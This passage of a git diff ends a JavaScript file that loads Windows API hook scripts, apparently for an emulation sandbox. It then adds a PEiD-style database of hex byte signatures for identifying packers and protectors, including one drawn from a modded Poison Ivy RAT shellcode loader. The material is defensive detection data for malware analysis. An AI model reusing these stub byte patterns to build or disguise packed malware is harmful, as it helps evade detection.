return this.indexOf(segment) !== -1; +}; + +Array.prototype.inList=function(value,ignoreCase){ + + for (var i = 0; i < this.length; i++) { + if (value.contains(this[i],ignoreCase)) { + return true; + } + } + return false; +} + +importScripts( + 'hooks/const.js', + 'hooks/ntdll.js', + 'hooks/kernelbase.js', + 'hooks/kernel32.js', + 'hooks/kernel32_self.js', + 'hooks/kernel32_files.js', + 'hooks/kernel32_threads.js', + 'hooks/kernek32_strings.js', + 'hooks/kernel32_processes.js', + 'hooks/user32.js', + 'hooks/advapi32.js', + 'hooks/urlmon.js', + 'hooks/ws2_32.js', + 'hooks/winhttp.js', + 'hooks/msvcrt.js', + 'hooks/c_runtime.js', + 'hooks/wtsapi32.js', + 'hooks/uxtheme.js', + 'hooks/ole32.js', + 'hooks/lpk.js' +); diff --git a/Build/UserDB_TODO.TXT b/Build/UserDB_TODO.TXT new file mode 100755 index 0000000..2de2a3e --- /dev/null +++ b/Build/UserDB_TODO.TXT @@ -0,0 +1,14085 @@ +; Made with Add Signature v2.00 by BoB / BobSoft .. +; 3520 Signatures in list .. +; +; from http://research.pandasecurity.com/blogs/images/userdb.txt + +[Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot] +signature = 31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40 +ep_only = true + +[Obsidium v1.3.0.0 -> Obsidium Software (h)] +signature = EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00 +ep_only = true + +[PESpin v0.1 -> Cyberbob] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF +ep_only = true + +[Private Personal Packer (PPP) v1.0.2 --> ConquestOfTroy.com] +signature = E8 17 00 00 00 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 +ep_only = true + +[PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix] +signature = 60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 90 90 90 EB 06 00 00 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix] +signature = 55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix] +signature = 55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix] +signature = 55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 10 01 90 90 90 90 90 90 90 90 E8 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 E9 +ep_only = true + +[PseudoSigner 0.1 [Morphine 1.2] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Neolite 2.0] --> Anorganix] +signature = E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 E9 +ep_only = true + +[PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix] +signature = 60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FF FF E9 +ep_only = true + +[SimplePack 1.11 Method 1 -> bagie[TMX] (h)] +signature = 60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5 +ep_only = true + +[Software Compress v1.2 -> BG Software Protect Technologies] +signature = E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 +ep_only = true + +[Software Compress v1.4 LITE -> BG Software Protect Technologies (h)] +signature = E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04 +ep_only = true + +[* PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix] +signature = 60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [ACProtect 1.09] --> Anorganix] +signature = 60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [ASPack 2.xx Heuristic] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 +ep_only = true + +[* PseudoSigner 0.1 [ASPack 2.xx Heuristic] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix] +signature = 55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 3.0] --> Anorganix] +signature = 55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix] +signature = 55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix] +signature = 55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8 +ep_only = true + +[* PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8 +ep_only = true + +[* PseudoSigner 0.1 [FSG 1.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9 +ep_only = true + +[* PseudoSigner 0.1 [FSG 1.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B E9 +ep_only = true + +[* PseudoSigner 0.1 [Macromedia Flash Projector 6.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9 +ep_only = true + +[* PseudoSigner 0.1 [Macromedia Flash Projector 6.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C E9 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix] +signature = 55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Microsoft Visual C++ 6.0 (Debug Version)] --> Anorganix] +signature = 55 8B EC 51 90 90 90 01 01 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Morphine 1.2] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Morphine 1.2] --> Anorganix] +signature = 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Neolite 2.0] --> Anorganix] +signature = E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Neolite 2.0] --> Anorganix] +signature = E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix] +signature = 60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [Pack Master 1.0 (PEX Clone)] --> Anorganix] +signature = 60 E8 01 01 00 00 E8 83 C4 04 E8 01 90 90 90 E9 5D 81 ED D3 22 40 90 E8 04 02 90 90 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 +ep_only = true + +[* PseudoSigner 0.1 [PECompact 1.4+] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 +ep_only = true + +[* PseudoSigner 0.1 [PECompact 1.4+] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 +ep_only = true + +[* PseudoSigner 0.1 [PEtite 2.x (level 0)] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68 +ep_only = true + +[* PseudoSigner 0.1 [PEtite 2.x (level 0)] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 B8 00 90 90 00 6A 00 68 90 90 90 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 03 00 68 +ep_only = true + +[* PseudoSigner 0.1 [Ste@lth PE 1.01] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00 +ep_only = true + +[* PseudoSigner 0.1 [Ste@lth PE 1.01] --> Anorganix] +signature = 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00 +ep_only = true + +[* PseudoSigner 0.1 [Video-Lan-Client] --> Anorganix] +signature = 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9 +ep_only = true + +[* PseudoSigner 0.1 [Video-Lan-Client] --> Anorganix] +signature = 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9 +ep_only = true + +[* PseudoSigner 0.2 [FSG 1.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B +ep_only = true + +[* PseudoSigner 0.2 [Macromedia Flash Projector 6.0] --> Anorganix] +signature = 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C +ep_only = true + +[* PseudoSigner 0.2 [Video-Lan-Client] --> Anorganix] +signature = 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 52 56 51 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 